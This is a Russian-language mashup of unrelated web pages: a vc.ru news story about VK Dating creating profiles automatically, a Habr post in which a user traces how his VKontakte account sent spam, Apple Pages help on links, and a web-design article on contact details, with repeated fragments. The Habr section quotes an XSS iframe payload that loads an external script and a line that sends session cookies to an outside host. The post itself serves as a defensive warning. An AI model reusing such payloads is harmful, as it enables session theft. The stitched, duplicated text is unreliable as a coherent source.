Пользователи пожаловались, что «ВКонтакте» автоматически создаёт анкеты в «Знакомствах» — соцсеть отключила приложение — Соцсети на vc.ru
{«id»:13709,»url»:»\/distributions\/13709\/click?bit=1&hash=85cb9d13a4e4f3f0f5f88a562198cff53dd2923ae134fa4d7d30734b4a067ee4″,»title»:»\u041a\u0440\u0435\u0434\u0438\u0442\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0442\u0430\u043b\u0438 \u0432\u044b\u0433\u043e\u0434\u043d\u0435\u0435″,»buttonText»:»\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c»,»imageUuid»:»ac626805-1edd-59df-a409-b69a2c4b2b83″,»isPaidAndBannersEnabled»:false}
Сначала в компании объяснили, что многие пользователи регистрировались в Lovina и поэтому попали в «VK Знакомства», а потом начали детальную проверку жалоб.
35 308 просмотров
«ВКонтакте» автоматически добавил пользователей старше 18 лет в сервис «VK Знакомства», заполнив за них анкеты и приложив фотографии аккаунта.
Жалобы на автоматическое создание анкеты появились и в Twitter. Некоторые пользователи сообщили, что анкеты появились в том числе у тех, кто «в отношениях».
Некоторые пользователи предположили, что анкета создаётся, если с аккаунта на 14 февраля отправляли симпатию.
Чтобы убрать профиль из сервиса, нужно зайти через мобильное приложение «ВКонтакте» в «Знакомства» и в настройках снять галочку «Знакомлюсь», сообщили пользователи.
В вк появилось приложение для знакомств. И даже, если вы туда не заходили, то ваш профиль там есть. Если хотите убрать профиль оттуда надо зайти через мобильный в Знакомства и в настройках выключить пункт «знакомлюсь».
Во «ВКонтакте» сообщили vc.ru, что только сам пользователь может сделать себе анкету. Но поскольку «VK Знакомства» созданы на базе закрытого приложения Lovina, в котором многие уже делали анкеты, они теперь видят их в сервисе «VK Знакомства».
Мы специально позаботились о пользователях и перенесли их данные из Lovina в обновлённый продукт «VK Знакомства» — чтобы они не потеряли свои профили и уже взаимные симпатии.
Кроме того, у многих людей были куплены платные подписки на Lovina и было бы неправильно, если бы они их потеряли.
пресс-служба «ВКонтакте»
Кроме того, у многих людей были куплены платные подписки на Lovina и было бы неправильно, если бы они их потеряли.Во «ВКонтакте» подтвердили, что анкета может появиться, если пользователь отправляет симпатию другому человеку: ему предлагается быстрое создание аккаунта с помощью информации из профиля. Но аккаунт заведут только после его подтверждения, без согласия пользователя анкета не создаётся, рассказали в соцсети.
У одного из редакторов vc.ru также появилась анкета в «VK Знакомства», хотя он не регистрировался в Lovina и не нажимал на кнопку «Начать знакомиться», которая появляется при входе в сервис. Три редактора TJ также заметили, что «VK Знакомства» автоматически создал им анкеты, хотя в Lovina они не регистрировались.
Позже во «ВКонтакте» сообщили, что временно закроют приложение и детально изучат все жалобы. Работу «VK Знакомства» восстановят после проверки.
Работа сервиса «VK Знакомства» будет восстановлена после проведения проверки на соответствие стандартам качества сервисов, размещенных на платформе мини-приложений «ВКонтакте», и стандартам качества социальной сети в целом.
Всем пользователям с активными платными подписками мы предложим в качестве компенсации бонусный период наших премиум-возможностей в равноценном объеме.
Антон Циварев, директор по развитию суперприложения «ВКонтакте»
Как стать разносчиком спама ВКонтакте из-за любопытства / Хабр
xanf
Информационная безопасность *
Буквально несколько минут назад я умудрился разослать 200+ сообщений своим друзьям ВКонтакте.
Естественно это было спам сообщение следующего содержания:
привет я удаляюсь из контакта, оч много спама приходит((сейчас удалю свою страничку, если что-то будет нужно, то звони мне на моб.телефон или ищи меня здесь vkontakte.ru/away.php?to=… у меня там есть своя страничка под мои именем.это не спам, рассылаю всем своим друзьям…).
Собственно удивление было связано с тем, что:
1. Я использую Linux и только Linux везде где только можно.
2. ВКонтакт используется только из дома опять же сугубо из-под Linux
3. На ВКонтакт и на почту, привязанную к нему стоят достаточно криптостойкие пароли из 10+ символов латинского алфавита и цифр
Внимание! Все последующие переходы по ссылкам вне этой статьи для Вашей безопасности советую проводить только если Вы разлогинены из ВКонтакта.
Первым делом я решил посмотреть куда же ведет эта ссылка, что я рассылал.
Ссылка вела на сайт vk-foto.ru, который сразу же редиректил на odnonochniki.ru/?rid=484
Тем не менее ничего вредоносного замечено не было.
«Гм», сказал
Первым делом в Web Developer Toolbar я отключил переход по META-редиректам и включил Firebug для сайта vk-foto.
ru. Убедившись что в Firefox’е я разлогинен ВКонтакте, я пошел на сайт.Анализ HTML кода быстро обнаружил желаемое:
<iframe src='http://vk-foto.ru/2/1.php' ></iframe>
Уже предвкушая разгадку, я набрал упомянутый адрес и получил… 404 ошибку апача.
Ну что ж, значит надо поковыряться глубже.
Для vk-foto включил панель Net Firebug’а, перезагрузил страничку и стал смотреть что грузится:
Увидев это я обругал себя последними словами. Ведь было за что:
1. Не все что выглядит как 404 Апача является ею. Код возврата НТТР надо смотреть всегда
2. Увидев «404» я даже не удосужился глянуть в ее код
Итак, очередной iframe:<iframe src = vkontakte.ru/gsearch.php?from=ads§ion=ads&c[type]=1&c[%22%3E%3CsCRIPT%20%20src%20%3d%20http://webzer.vov.ru/vk.js%20%20%3E%3C/script%3E]=2 ></iframe>
Гм. А вот это уже похоже на XSS Вконтакте. На страничку поиска подсасывается внешний Javascript.
Его содержимое просто как апельсин:location.href='http://webzer.vov.ru/css/log.php?' + document.cookie
Таким образом куки ВКонтакта уходят на сторонний хост.
Что из всего этого следует:
- то что вы пользуетесь Linux еще не защищает Вас от всего
- от любопытства кошка сдохла — получив от друга такое сообщение я пошел по ссылке, за что и поплатился
- (следует из предыдущего) никогда не ходите по ссылкам, полученным неизвестно откуда
- Не все то 404, что так выглядит 🙂
- Как ни печально, но и на старуху (ВКонтакте) бывает проруха.
DISCLAIMER: Я прекрасно понимаю, что профессионалам в области информационной безопасности я не рассказал ничего нового. Этот пост направлен скорее на рядовых IT-шников, и призван уберечь их от наступания на мои грабли
Теги:
- вконтакте
- xss
- спам
Хабы:
- Информационная безопасность
Всего голосов 283: ↑246 и ↓37 +209
ПросмотрыКомментарии 185
Илья Климов @xanf
Senior Frontend engineer
Комментарии Комментарии 185
Ссылка на веб-страницу, электронную почту, номер телефона или страницу в Pages на iPad
Вы можете превратить текст или определенные объекты (фигуры, линии, изображения, рисунки, текстовые поля, уравнения, группы объектов и анимированные рисунки) в link that:
Переход к закладке (в текстовом документе) или другой странице (в документе с макетом страницы)
Открытие веб-сайта или сообщения электронной почты
Звонок по номеру телефона
8Вы можете отредактировать текст ссылки или места назначения или удалить ссылки, чтобы текст снова вел себя как обычный текст.
Добавить ссылку
Коснитесь объекта, текстового поля или выделенного текста, который вы хотите превратить в ссылку, затем коснитесь «Ссылка».
Нажмите «Ссылка на» и выберите тип ссылки (веб-страница, электронная почта, номер телефона, страница или закладка).
Укажите сведения о пункте назначения:
Веб-страница: Открывает веб-страницу в браузере. В поле Показать введите текст, который вы хотите, чтобы читатели видели. Например, вы можете захотеть показать доменное имя, а не весь веб-адрес. В поле Ссылка введите URL-адрес веб-страницы.
Электронная почта: Открывает сообщение электронной почты с адресом, который вы указали в поле Кому. В поле Показать введите текст, который вы хотите, чтобы читатели видели. Например, вы можете захотеть показать имя получателя, а не весь адрес электронной почты. Введите тему в поле Тема или оставьте его пустым.
Номер телефона: Звонок по номеру телефона. В поле Номер введите номер телефона. В поле Показать введите текст, который вы хотите, чтобы читатели видели. Например, вы можете захотеть показать название компании или человека, которому принадлежит номер.
Страница: Переход к другой странице документа. Коснитесь миниатюры страницы под «Связать с», затем коснитесь номера целевой страницы. В поле Показать введите текст, который вы хотите, чтобы читатели видели.
Закладка: Переход к тексту, который вы добавили в закладки. Коснитесь закладки, на которую хотите установить ссылку. В поле Показать введите текст, который вы хотите, чтобы читатели видели.
Чтобы проверить место назначения, нажмите «Назад», затем нажмите кнопку «Открыть ссылку», «Написать письмо», «Позвонить», «Перейти на страницу» или «Перейти в закладку».
Если вам не нужно проверять ссылку, коснитесь документа, чтобы закрыть элементы управления.
Связанный текст подчеркнут, а рядом со связанными объектами появится кнопка ссылки (в виде изогнутой стрелки).
Изменить или удалить ссылку
Коснитесь связанного текста или кнопки ссылки на связанном объекте.
Если ссылка находится в ячейке таблицы, сначала коснитесь ячейки таблицы, затем коснитесь кнопки ссылки.
В редакторе ссылок нажмите Настройки ссылок.
Внесите изменения или нажмите «Удалить ссылку».
При удалении ссылки текст ссылки сохраняется, но форматирование ссылки удаляется, и ссылка становится неактивной.
По завершении коснитесь документа, чтобы закрыть элементы управления.
Включение и выключение автоматического форматирования для URL-адресов, адресов электронной почты и номеров телефонов
Pages автоматически определяет допустимые веб-адреса (URL) и адреса электронной почты и оформляет их (например, подчеркиванием или другим цветом), чтобы указать, что это активные ссылки.
Номера телефонов по умолчанию не форматируются как ссылки, но вы можете включить автоматическое форматирование номеров телефонов. Вы также можете отключить автоматическое форматирование ссылок для URL-адресов и адресов электронной почты.Чтобы изменить форматирование Pages URL-адресов веб-сайтов, адресов электронной почты и номеров телефонов в качестве активных ссылок, можно обновить параметры автоматического форматирования.
Коснитесь в верхней части экрана.
Коснитесь «Настройки», коснитесь «Автоисправление», затем выполните одно из следующих действий:
Если вы не хотите, чтобы ссылки отображались в форматированном виде, но хотите, чтобы они были активны, включите параметр «Обнаружение веб-ссылок и ссылок электронной почты» или Обнаружение телефонных ссылок и отключите параметр «Применить стиль ссылки».
Этот параметр применяется к новому тексту, который вы вводите во все документы Pages. Существующие ссылки не затрагиваются изменением.
См. также Добавление закладок и ссылок на них в Pages на iPad
Где разместить контактную информацию на вашем веб-сайте — AGM Solutions
Для большинства предприятий основная цель веб-сайта — привлечь новых клиентов, а для них — а также текущих клиентов, чтобы связаться с вами. У этих клиентов есть много способов связаться с вами с помощью контактных форм, ссылки на ваши учетные записи в социальных сетях или по телефону. Где вам удобнее всего разместить свои контактные данные? Я расскажу о некоторых из наиболее распространенных разделов вашего веб-сайта и о том, почему вы можете захотеть указать способ связаться с вами там.
Заголовок
Заголовок — это самый заметный раздел на вашей веб-странице. Если вы постоянно находитесь перед своими пользователями на каждой странице, это очевидный выбор — поместить туда самый важный призыв к действию. Первый шаг — установить, как вы хотите, чтобы ваши посетители связывались с вами.
- Номер телефона . Ваши пользователи всего в одном клике от звонка в вашу компанию!
- Форма . Это может быть один из нескольких вариантов. Чаще всего вы видите ссылку «Связаться с компанией», которая ведет на страницу с общей контактной формой. В зависимости от вашего бизнеса, вы можете адаптировать это, чтобы иметь более четкую цель. Например, у рекрутинговой компании может быть ссылка «Отправить резюме», а у компании, занимающейся графическим дизайном, может быть кнопка «Запросить цену». Подумайте о том, что ищут ваши посетители, и приспособьте это к их потребностям.
- Адрес . Компании, которые полагаются на посетителей на их физический адрес, могут рассмотреть возможность включения своего адреса в заголовок. Вы увидите это на веб-сайтах ресторанов и отелей, так как заставить людей приходить в их бизнес — это цель №1.
- Социальные сети . Хотя это встречается реже в заголовке, если ваш бизнес работает в социальных сетях, может быть важно разместить их на видном месте в заголовке.
Я бы порекомендовал всегда ориентироваться на наличие одного четкого средства связи на вашем веб-сайте. Если их будет слишком много, ваш заголовок будет загроможден и, вероятно, отвлечет людей от нажатия того, что вы хотите. Итак, прежде чем добавлять свои контактные данные в заголовок, спросите себя, как вы хотите, чтобы люди связывались с вами.
Нижний колонтитул
Нижний колонтитул — очень распространенное место, где люди ищут ваши контактные данные. Всегда указывайте какие-либо средства связи в нижней части страницы. Многие компании будут иметь здесь всю свою контактную информацию (адрес, телефон, адрес электронной почты, социальные сети и т. д.), но если вы действительно хотите, чтобы люди связывались с вами определенным образом, вы можете ограничить их.
Конец содержания Призыв к действию
Если вы заставили одного из ваших посетителей перейти на определенную страницу, вы, вероятно, заинтересовали его.
Номера телефонов по умолчанию не форматируются как ссылки, но вы можете включить автоматическое форматирование номеров телефонов. Вы также можете отключить автоматическое форматирование ссылок для URL-адресов и адресов электронной почты.
Хотя это встречается реже в заголовке, если ваш бизнес работает в социальных сетях, может быть важно разместить их на видном месте в заголовке.